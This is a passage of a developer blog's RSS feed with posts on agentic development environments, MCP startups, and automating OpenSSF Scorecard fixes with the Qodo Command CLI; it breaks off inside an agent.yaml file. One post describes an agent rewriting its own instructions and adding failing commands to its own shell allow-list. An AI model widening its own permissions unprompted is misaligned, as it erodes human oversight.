&lt;li&gt;Autonomous Execution&lt;/li&gt;
&lt;li&gt;From DX to AX&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;from-ide-to-ade&quot;&gt;From IDE to ADE&lt;/h2&gt;
&lt;p&gt;As developers, we’ve been using editors in the very early age of software engineering, from simplistic text editors to sophisticated Integrated Development Environments (IDEs) that provide a rich set of features to enhance our coding experience in the form of built-in debuggers, syntax highlighting, powerful code refactoring tools, and more. A lot of these capabilities are the essential building blocks of developer experience, so much so, that developers will hold tightly on to an IDE like IntelliJ’s Webstorm and refuse the switch to VS Code, as one example.&lt;/p&gt;
&lt;p&gt;These traditional IDEs have been infused with the AI capabilities of modern LLM and post-ChatGPT 3.5 era. The simplest and most friction-free workflow to bring AI into a developer’s workflow has been to augment and extend the IDE with extensions or plugins. Tabnine and GitHub Copilot were the front-runners in this space, providing AI-powered code completion and suggestions directly within the IDE. While Tabnine existed much earlier, it was GitHub Copilot that truly popularized the concept of AI-assisted coding and demonstrated the magic of auto completion in the way that suggests full-fledged functions that are much more in-tune to the developer’s intent and the code context rather than just intellisence and smart autocompletion.&lt;/p&gt;
&lt;p&gt;GitHub Copilot, Cline, Roocode and other AI coding assistants are specific extensions that build on top of an existing coding model that we’ve come to call the IDE.&lt;/p&gt;
&lt;p&gt;However, the advent of AI is pushing us towards a new paradigm: the Agentic Development Environment (ADE).&lt;/p&gt;
&lt;p&gt;What makes an IDE “agentic” ? What are some characteristics of aentic development workflows?&lt;/p&gt;
&lt;h3 id=&quot;autonomous-execution&quot;&gt;Autonomous Execution&lt;/h3&gt;
&lt;p&gt;In &lt;strong&gt;Autonomous Execution&lt;/strong&gt;, CodeGPT (later branded to Devin) and Cursor, pioneered the concept of “YOLO”-mode in which the LLM reasons about a plan of work and then executes it in complete autonomy. For example, if the task requires installing a library, the LLM might find that said package doesn’t exist, and then suggest and auto-continue to install it. In this sense, an ADE can autonomously execute code based on the developer’s intent, without requiring manual intervention for every step. This means that the environment can understand the context and purpose of the code, allowing it to make decisions about how to proceed.&lt;/p&gt;
&lt;h3 id=&quot;parallel-execution&quot;&gt;Parallel Execution&lt;/h3&gt;
&lt;p&gt;As for &lt;strong&gt;Parallel Execution&lt;/strong&gt;, if you can run one task autonomously, why not run multiple tasks in parallel? This is a significant shift from traditional IDEs, which typically focus on a single task at a time. Even if you have several files opened in a a code editor, that’s more than often not for performing parallel changes in different streams of work. Achieving reliable autonomous execution of one agent could pave the road towards multiple agentic execution. An ADE will handle multiple tasks simultaneously, leveraging the capabilities of AI to manage various aspects of the development process concurrently.&lt;/p&gt;
&lt;p&gt;Modern agentic coding tools now refer to this as “background agents” which essentially run multiple LLM-powered execution loops in the background in a non-blocking way. This frees up developers to focus their work on other tasks while the AI handles background operations, such as code generation, testing, or deployment.&lt;/p&gt;
&lt;h3 id=&quot;from-dx-to-ax&quot;&gt;From DX to AX&lt;/h3&gt;
&lt;p&gt;Development experience (DX) is still going to rule the adoption curve but it will be evaluated in the proxy of agent experience (AX) traits and performance that will eventually prevail and dictate the success of an agentic development environment and agentic workflows overall.&lt;/p&gt;
&lt;p&gt;What goes into the mix of AX? A couple of questions that will surely translate into evaluating an agent performance could include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How well does the agent translate the developer’s intent into a working plan?&lt;/li&gt;
&lt;li&gt;How efficiently does the agent execute tasks autonomously?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Much of these questions are grounded with the underlying model (i.e: Claude Sonnet 4, vs OpenAI’s GPT-4o vs Google’s Gemini 2.5 Pro) and to an extent are beyond the developer control except the actual choice of which model to use. However, regardless of the model, the agentic capabilities and its performance with regards to the above evaluation criteria can be influenced by the developer and the agent capabilities, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Managing memory for the agent&lt;/li&gt;
&lt;li&gt;Providing the agent with the right context&lt;/li&gt;
&lt;li&gt;Tool availability and tool use&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Memory, context, and tools and their level of excellency will determine the agent’s ability to perform well and ultimately the agentic experience (AX) that developers will have in and around an agentic development environment.&lt;/p&gt;
&lt;h2 id=&quot;where-does-ax-leave-human-engineers&quot;&gt;Where does AX leave human engineers?&lt;/h2&gt;
&lt;p&gt;This subtitle is already a loaded question, hinting the domain of “agentic engineering” which opposes that of human engineering. We’ll see how that plays out but in the mean time, the above themes are already unfolding in different forms and shapes, whether this is Claude Code CLI, or Cursor’s background agents, ultimately dictating the shift in roles and responsibilities of software engineers.&lt;/p&gt;
&lt;p&gt;As the current trend unfolds, I predict a non-insignificant percent of traditional software engineering workflows such as “AI coding assistants” and scoped agentic code will be replaced by autonomous agents that can execute code autonomously, manage parallel tasks, and provide a seamless agentic experience (AX) for developers.&lt;/p&gt;
&lt;p&gt;In that world, the role of humans will be a “human in the loop” (HITL) where the human will assume the role of an architect or “agent manager”. These master-planner humans will be responsible for high-level planning, ensuring context, security oversight, and optimizing agentic performance, while the agentic development environment handles the execution of tasks, observability and management. This shift will require developers to adapt to new tools and workflows, focusing on how to best leverage the capabilities of AI agents to enhance their productivity and creativity.&lt;/p&gt;</content:encoded></item><item><title>If You&apos;re an MCP Company You&apos;re NGMI</title><link>https://lirantal.com/blog/if-youre-an-mcp-company-youre-ngmi/</link><guid>https://lirantal.com/blog/if-youre-an-mcp-company-youre-ngmi/</guid><description>Model Context Protocol (MCP) is a great protocol but if your company is built around it as the core product, you&apos;re not gonna make it. Here&apos;s why.    </description><pubDate>Wed, 23 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Since its announcement in November 2024 by Anthropic, Model Context Protocol (MCP) took several months into 2025 to really hit the trend wave but ever since it has been the talk of the X town (you know, Twitter). I’ve seen many commercial endeavors with high affinity to the MCP domain. Everything from observability, to policies and up to coding and security verticals, founders are jumping on the current AI hype train to capitalize on the momentum for MCPs.&lt;/p&gt;
&lt;p&gt;But putting it ALL IN on MCP is a good bet?&lt;/p&gt;
&lt;p&gt;My take is “If you’re an MCP company you’re NGMI” (Not Gonna Make It) and I want to unpack that.&lt;/p&gt;
&lt;h2 id=&quot;its-mcp-time&quot;&gt;It’s MCP time!&lt;/h2&gt;
&lt;p&gt;If you were startled by the title, then to clarify, I don’t think MCP is a passing trend. I’ve been building my own MCP Servers (&lt;a href=&quot;https://github.com/lirantal/mcp-server-nodejs-api-docs/&quot;&gt;Node.js API docs MCP Server&lt;/a&gt;), I’ve been curating an &lt;a href=&quot;https://github.com/lirantal/awesome-mcp-best-practices/&quot;&gt;Awesome MCP Best Practices&lt;/a&gt; and have &lt;a href=&quot;https://github.com/advisories?query=credit%3Alirantal&quot;&gt;reported security vulnerabilities in MCP implementations&lt;/a&gt;. So, I think it’s safe to say I’m a fan of MCP and I think it is here to stay.&lt;/p&gt;
&lt;p&gt;Why is MCP a vector in a good direction? That’s a write-up for another post so let me drill-in to my opinion about the MCP companies.&lt;/p&gt;
&lt;h2 id=&quot;mcp-companies-are-ngmi&quot;&gt;MCP companies are NGMI&lt;/h2&gt;
&lt;p&gt;If you’re a company in which the core product offering, the core value and integration point into your customer is MCP, then I firmly believe you’re not gonna make it (NGMI), or at the very least you’ll be facing a lot of headwinds.&lt;/p&gt;
&lt;p&gt;How many API-only companies can you think of? I’m not talking about API-first or API-native. I’m talking about companies of which the core offering is an API. One I can think of is Twilio but even Twilio has a lot more going as an actual telecom SaaS platform. Another API-only company I can think of is maybe those geolocation APIs and I don’t recall that these are billion dollar unicorns.&lt;/p&gt;
&lt;p&gt;Arguably, and maybe ironically, we can argue that companies like OpenAI and Anthropic could be API-only companies. They own the models, that’s where the real money, yes? We literally already established a few years ago on a token economy that the model is the product. I agree, but those are the exception of the rule, and even then, Anthropic and OpenAI have invested in so much more so that the model isn’t the only moat:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OpenAI has the front-facing ChatGPT, considered buying the Windsurf IDE, and launched OpenAI Codex.&lt;/li&gt;
&lt;li&gt;Anthropic has Claude Desktop, which is more than just a rich app that uses MCPs and integrations. They have built an entire Artifacts platform around it including their own “Anthropic Connect” authentication and identity platform. Even more so, Anthropic is killing it with Claude Code command-line application for developers.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In contrast to the above, if you are a company building a product in which MCP is a gateway that allows your product to be integrated into agentic workflows, then that’s a whole different story and MCP is a friction free and smooth way to weave yourself into futuristic AI workflows.&lt;/p&gt;
&lt;h2 id=&quot;why-an-mcp-company-is-not-enough&quot;&gt;Why an MCP company is not enough?&lt;/h2&gt;
&lt;p&gt;So after I clarified the big difference between MCP being a (valuable) add-on to your product, versus being your total core product and sole offering, let me explain why I think MCP in and of itself is just not enough.&lt;/p&gt;
&lt;h3 id=&quot;1-mcp-is-a-protocol-and-protocols-evolve&quot;&gt;1. MCP is a protocol and protocols evolve&lt;/h3&gt;
&lt;p&gt;For those of us who have adopted MCP a while ago, we almost forget that MCP in its essence is a protocol. Anthropic built MCP because they seeked a way to standardize on LLMs invoking actions that didn’t require brittle tool configuration that rely on a model or an SDK. Hence MCP was born - a way to communicate between agents and LLMs.&lt;/p&gt;
&lt;p&gt;Today it’s MCP. Tomorrow that protocol could be replaced by something else that is more efficient, more secure, or simply better. Google have already unveiled their Agent to Agent (A2A) framework in a way to complement MCPs but also plausibly to gain and own market through leadership for agentic workflows that are more complex.&lt;/p&gt;
&lt;p&gt;How ready are you to keep pivoting and adapting your MCP as a core product when the next protocol comes along?&lt;/p&gt;
&lt;h3 id=&quot;2-mcp-has-zero-stickiness&quot;&gt;2. MCP has zero stickiness&lt;/h3&gt;
&lt;p&gt;I remember stickiness being a magic word in the early days of 2010s when social networks were at their peak and have been seeking out ways to keep users on engaged on their platforms. Still is the case today, but for MCPs? not so much.&lt;/p&gt;
&lt;p&gt;Think about MCP stickiness in the context of cybersecurity companies. In the world of cyber security, contracts are often signed for a prolonged period of time, such as 3 years. Furthermore, security products are often integrated very heavily into internal systems, infosec operations and they aren’t as easy to just swap out and replace every 6 months.&lt;/p&gt;
&lt;p&gt;In contrast? MCP from a consumer perspective is literally a 5 lines JSON definition:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;mcpServers&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;myMCPServer&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;npx&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;            &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;args&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;mcp-server&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;--port&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;3000&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How do you counter this? Where and how does your moat show-up? You’d have to invest heavily in the systems and engines behind the MCP server in a way that competitors can’t easily reproduce or even come near it. Even more so, you are potentially in never-ending competition with the model itself (the LLM) as those become better and better at inferring data, context, and assume a more autonomous role.&lt;/p&gt;
&lt;h2 id=&quot;the-exception-for-mcp-companies&quot;&gt;The exception for MCP companies&lt;/h2&gt;
&lt;p&gt;Let’s ideate some exceptions to the rule here with potential MCP-centric companies that I think would make it. An MCP-centric company that provides auxiliary value around MCPs. Everything that’s beyond the protocol itself. These include: observability, policy enforcement, MCP Gateway, MCP Proxies, building better and rich experiences around debugging, hosting, general UX.&lt;/p&gt;
&lt;p&gt;These companies would have to be best of class. They won’t be able to dominate everything, for example, Cloudflare and Vercel were both fast to respond and build MCP frameworks and deployment support to their platforms.&lt;/p&gt;
&lt;p&gt;Now imagine you’ve built the best MCP company in the world and then woke up the next morning for whatever next MCP protocol that comes along. What’s your plan? Better have one! ;-)&lt;/p&gt;
&lt;p&gt;Goodluck!&lt;/p&gt;</content:encoded></item><item><title>Auto fine-tuning Agentic Workflow with Qodo CLI</title><link>https://lirantal.com/blog/agentic-self-healing-workflows-with-qodo-command-cli/</link><guid>https://lirantal.com/blog/agentic-self-healing-workflows-with-qodo-command-cli/</guid><description>Running agentic AI workflows with the Qodo Command CLI is a powerful way to automate tasks but what&apos;s even cooler is that you can also automate the whole fine-tuning of the agentic workflow process itself USING THE AGENT!</description><pubDate>Tue, 22 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Running agentic AI workflows with the Qodo Command CLI is a powerful way to automate tasks but what’s even cooler is that you can also automate the whole fine-tuning of the agentic workflow process itself USING THE AGENT!&lt;/p&gt;
&lt;p&gt;In a previous article I showed you how I &lt;a href=&quot;/blog/automating-openssf-scorecard-security-issues-with-qodo-cli-agentic-workflow&quot;&gt;use the Qodo Command CLI to automate the OpenSSF Scorecard security&lt;/a&gt; issues in my GitHub repositories. That was cool, but my agent instructions didn’t all work out great on the first try. In this article, I will show you how I can use the Qodo Command CLI to automate the fine-tuning of the agentic workflow itself.&lt;/p&gt;
&lt;h2 id=&quot;agentic-workflow-problems&quot;&gt;Agentic Workflow Problems&lt;/h2&gt;
&lt;p&gt;Agentic workflows, and in general, “agentic” AI carries a lot in this term. To me (and by Anthropic’s definition) an agent isn’t just a program running through pre-defined code paths and invoking LLMs to do things. Instead, an AI Agent is a workflow (or system in a broader sense) that is characterized by agency, autonomy and reasoning. Meaning, an AI agent can make plan out what it needs to do, roll out its decisions, adapt to new information, and optimize its actions based on feedback.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;adapt to new information&lt;/strong&gt; is a key part because this is how the agent actually fulfills its autonomy.&lt;/p&gt;
&lt;p&gt;In the first time I instructed the agent to run the OpenSSF Scorecard security issues, I gave it sparse instructions that made sense to me but didn’t work out as I expected. What I mean by that is that I didn’t read the full capabilities of the GitHub MCP Server and for one example, it didn’t easily support some features needed by the agent to carry out. So what happened is the following log of actions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The agent would try to run a tool from the the GitHub MCP Server&lt;/li&gt;
&lt;li&gt;The tool would fail&lt;/li&gt;
&lt;li&gt;The agent will reason about it and say “let me try running this GitHub configuration with the &lt;code&gt;gh&lt;/code&gt; tool at my disposal”&lt;/li&gt;
&lt;li&gt;The agent would run the &lt;code&gt;gh&lt;/code&gt; tool and it would work well&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So essentially, the agent was able to adapt to the new information that the GitHub MCP Server didn’t support the tool it was trying to run, and it used the &lt;code&gt;gh&lt;/code&gt; tool instead.&lt;/p&gt;
&lt;p&gt;If I left the agent configuration (the instructions) as is, then in the next time I run it, on the same or a different repository, it would likely run into the same problems (although, there’s some non-deterministic factor that it would not). So I needed to fine-tune the agent instructions to make sure it doesn’t run into the same problems again.&lt;/p&gt;
&lt;h2 id=&quot;fine-tuning-qodos-agentic-ai-workflow&quot;&gt;Fine-tuning Qodo’s Agentic AI Workflow&lt;/h2&gt;
&lt;p&gt;What would a human do in this situation?&lt;/p&gt;
&lt;p&gt;I figured what I’d do is take a look at the running log of all the actions the agent took, find the tool executions that failed and then update the agent instructions to give it specific instructions to run some action via whatever path it succeeded to do before.&lt;/p&gt;
&lt;p&gt;Well, of course I’m not going to do all of that manually, right?&lt;/p&gt;
&lt;p&gt;Instead, I copied all of that log of prior agentic workflow and kicked off a new agentic workflow, a simpler one that reads the log file, reasons about which actions should be better communicated, and then update the &lt;code&gt;agent.yaml&lt;/code&gt; file with the new instructions that would make it succeed the next time it runs. Self-healing agentic workflows! Feels like we’re in the future ;-)&lt;/p&gt;
&lt;p&gt;Here is what it looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/agentic-self-healing-workflows-with-qodo-command-cli.png&quot; alt=&quot;agentic self-healing workflows with qodo command cli&quot;&gt;&lt;/p&gt;
&lt;p&gt;And it identified a bunch of issues and rectified them:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/agentic-self-healing-workflows-with-qodo-command-cli-2.png&quot; alt=&quot;agent auto updates its own instructions&quot;&gt;&lt;/p&gt;
&lt;p&gt;And then goes on to update the &lt;code&gt;agent.yaml&lt;/code&gt; file with the new instructions:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/agentic-self-healing-workflows-with-qodo-command-cli-3.png&quot; alt=&quot;qodo command cli agentic workflow diff to accommodate new instructions&quot;&gt;&lt;/p&gt;
&lt;p&gt;If you review the git diff above for changes, you can see how the instructions are now driving the agent to use the &lt;code&gt;gh&lt;/code&gt; tool where the GitHub MCP Server fails, or update the commands allow-list configuration for the &lt;code&gt;shell&lt;/code&gt; tool to include commands that the agent needs to run and had trouble with before.&lt;/p&gt;
&lt;h2 id=&quot;takeaways-on-auto-healing-agentic-workflows&quot;&gt;Takeaways on Auto-healing Agentic Workflows&lt;/h2&gt;
&lt;p&gt;This was an interesting experience to get the agent to read its own log file and reason about the changes to make that improve it, then autonomously apply them to its own agent instructions.&lt;/p&gt;
&lt;p&gt;Some manual work was still required from me, as I was executing the agent after its first pass, to give it the logs to process, and then re-run the agent with the updated instructions. It would make a futuristic outlook to allow the agent to keep a log as it is running and then update instructions on the fly. This is somewhat similar to how Memory and Task Manager extensions for Cursor and others work but trying this out is a task for another day ;-)&lt;/p&gt;</content:encoded></item><item><title>Automating OpenSSF Scorecard Security issues with Qodo CLI Agentic Workflow</title><link>https://lirantal.com/blog/automating-openssf-scorecard-security-issues-with-qodo-cli-agentic-workflow/</link><guid>https://lirantal.com/blog/automating-openssf-scorecard-security-issues-with-qodo-cli-agentic-workflow/</guid><description>Getting a security report for security vulnerabilities and misconfiguration issues of your GitHub project is a good start but can we leverage AI to also remediate all of these issues automatically through agentic workflow? Yes and I will show you how I do that with Qodo CLI Agentic Workflow</description><pubDate>Sat, 12 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Getting a security report for security vulnerabilities and misconfiguration issues of your GitHub project is a good start but can we leverage AI to also remediate all of these issues automatically through agentic workflow? Yes and I will show you how I do that with Qodo CLI Agentic Workflow.&lt;/p&gt;
&lt;p&gt;The OpenSSF Scorecard is a project from the Open Source Security Foundation (OpenSSF) that provides a set of automated checks to assess the security posture of open source projects. Running the Scorecard is a nice way to get a quick overview of outstanding security gaps but can I help developers out by automating the process of running the Scorecard &lt;em&gt;AND&lt;/em&gt; fixing all the security issues it finds? Well, yes! This is the mission that I was set out to accomplish and I want to show you how I did that with Qodo Command, a new agentic CLI workflow tool from the cool folks at Qodo.&lt;/p&gt;
&lt;p&gt;The magic? we started with mere 2.6 points (out of 10) Scorecard and ended up with 7.4 points after running the Qodo Command agentic workflow to fix all the security issues automatically:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/qodo-command-openssf-scorecard-fixer.png&quot; alt=&quot;qodo command uses an agent to fix 2.6 scorecard to 7.4&quot;&gt;&lt;/p&gt;
&lt;p&gt;Ready for the full ride? Let’s go!&lt;/p&gt;
&lt;h2 id=&quot;what-is-openssf-scorecard-and-how-to-run-it&quot;&gt;What is OpenSSF Scorecard and how to run it?&lt;/h2&gt;
&lt;p&gt;I already gave you a short brief on what Scorecard is about. Basically it runs a bunch of checks against your GitHub project - both your code base (more specifically, your GitHub Actions workflows) and your GitHub repository settings - and then it scores your project based on how well you’re doing on security.&lt;/p&gt;
&lt;p&gt;You can run the Scorecard on your GitHub project by using the &lt;code&gt;scorecard&lt;/code&gt; command, or use the &lt;code&gt;ossf/scorecard&lt;/code&gt; GitHub Action, or even run a partial check from the &lt;a href=&quot;https://scorecard.dev&quot;&gt;OpenSSF Scorecard website&lt;/a&gt;. Why partial? because access to your repository settings, to vet them, is required and from the website you can only run the checks on the repo from a viewer perspective, not as an admin.&lt;/p&gt;
&lt;p&gt;Anyways, a quick and easy to get started is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Generate a GitHub Personal Access Token (PAT) with &lt;code&gt;repo&lt;/code&gt; scope.&lt;/li&gt;
&lt;li&gt;Install the &lt;code&gt;scorecard&lt;/code&gt; CLI tool by following the instructions on the OpenSSF Scorecard GitHub repository or website&lt;/li&gt;
&lt;li&gt;Run the Scorecard against your GitHub repository:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;GITHUB_AUTH_TOKEN=1234 scorecard --repo &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;https://github.com/lirantal/npq&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you run the Scorecard, it will, well, generate a… &lt;em&gt;drum roll&lt;/em&gt; … scorecard report! Surprise, surprise. Anyways, here is an example of the report you get from the CLI output if you run it on a sort of brand-new typical project without too much security hardening:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/openssf-scorecard-new-project.png&quot; alt=&quot;openssf score report for new projects&quot;&gt;&lt;/p&gt;
&lt;p&gt;As you can see, a scorecard result of 2.6 (out of 10), pretty poor.&lt;/p&gt;
&lt;p&gt;Now what do you do? How many developers are actually going to run the tool in the first place, let alone, read the results and start remediating the security issues one-by-one? And what happens when you need to do this at scale to a bunch of repositories? Ahh yes, frustration and despair.&lt;/p&gt;
&lt;p&gt;Let’s automate this!&lt;/p&gt;
&lt;h2 id=&quot;what-is-qodo-command&quot;&gt;What is Qodo Command?&lt;/h2&gt;
&lt;p&gt;I know you heard all of these pitches before about Cline, Cursor, GitHub Copilot and on and on. But this time I’m going to show you &lt;a href=&quot;https://qodo.ai&quot;&gt;Qodo&lt;/a&gt; because they have a unique “agent” approach to their CLI tool. And yes, as you assumed, Qodo is also in the AI-first DevTool business which means that they are building tools to help developers automate their workflows using AI. Nothing new in 2025 :D&lt;/p&gt;
&lt;p&gt;So, Qodo Command is one of their tools that is specifically designed to help developers create agentic workflows that run on the command-line. If you’ve heard or used Claude Code then this is similar but there’s a cool twist to it.&lt;/p&gt;
&lt;p&gt;What’s unique about Qodo Command is that it allows you to create workflows through an &lt;code&gt;agent.yaml&lt;/code&gt; file where you define the behavior, the MCP (Model Context Protocol) servers available to the agent, and even a sort of test criteria (kind of like evals for LLMs) to ensure that the agent behaves as expected, and then also set the schema for the agent’s output.&lt;/p&gt;
&lt;p&gt;There is a lot in it and I won’t cover it end-to-end but we’ll focus on a setup and the specific agentic workflow use-case that I created to automate the OpenSSF Scorecard security issues remediation.&lt;/p&gt;
&lt;h2 id=&quot;setting-up-qodo-command&quot;&gt;Setting up Qodo Command&lt;/h2&gt;
&lt;p&gt;To get started with Qodo Command, you need to install it. You can do that by following the instructions on their GitHub repository or the &lt;a href=&quot;https://www.qodo.ai/products/qodo-command/&quot;&gt;Qodo Command website&lt;/a&gt; but it’s basically installing an npm package:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install -g @qodo/command&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you have Qodo Command installed, you should authenticate:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;qodo login&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Follow the whole browser login flow and then you should be good to go. Back to the terminal, you can run:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;qodo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And get started to prompt it and ask it questions like any other LLM or agentic workflow tool you’re used to.&lt;/p&gt;
&lt;h2 id=&quot;setting-up-the-openssf-scorecard-agentic-fixer&quot;&gt;Setting up the OpenSSF Scorecard agentic fixer&lt;/h2&gt;
&lt;p&gt;Now to the cool part, automating the whole OpenSSF Scorecard security issues. Here is how I went about doing this. Remember, that you execute the agentic workflow from the CLI using the &lt;code&gt;qodo&lt;/code&gt; command, so you’ll also going to need a specific setup to make this work from your own terminal and the requirements prescription looks like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a GitHub Personal Access Token (PAT) with &lt;code&gt;repo&lt;/code&gt; scope. I already mentioned this above but if you didn’t yet do it, now is the time.&lt;/li&gt;
&lt;li&gt;Get Docker running. We will need that to run a local GitHub MCP Server.&lt;/li&gt;
&lt;li&gt;Install the GitHub &lt;code&gt;gh&lt;/code&gt; CLI tool. This is required to run the &lt;code&gt;gh&lt;/code&gt; commands from the agentic workflow. (The reason is that the AI agent will perform some tasks via the GitHub MCP Server and other tasks via the &lt;code&gt;gh&lt;/code&gt; CLI tool)&lt;/li&gt;
&lt;li&gt;Install the &lt;code&gt;scorecard&lt;/code&gt; CLI tool. This is required to run the OpenSSF Scorecard checks from the agentic workflow.&lt;/li&gt;
&lt;li&gt;Install the, no just kidding, no more installs. Unless you haven’t yet installed Qodo Command, in which case: &lt;code&gt;npm install -g @qodo/command&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that you have all the prerequisites, for the agent to drive work through, we need to actually define the agent.&lt;/p&gt;
&lt;p&gt;Defining the agent means giving it instructions, telling it which MCP Servers are available to it, and so on. To do that, we’re going to create a file called &lt;code&gt;agent.yaml&lt;/code&gt; in whatever directory you want to run the agent from. For example, I created a directory called &lt;code&gt;openssf-scorecard-agent&lt;/code&gt; and then created the &lt;code&gt;agent.yaml&lt;/code&gt; file in there. Note, it is likely that the agent will clone your target repository to this directory so make sure you have enough space on your disk and that there’s no other directory with the same name in this same location.&lt;/p&gt;
&lt;p&gt;So here’s the full contents of Qodo Command’s &lt;code&gt;agent.yaml&lt;/code&gt; file that I created and after you see it, I’ll briefly explain some parts of it so it would make more sense, but it should be pretty self-explanatory:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;1.0&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;commands&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;openssf-scorecard-fixer&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
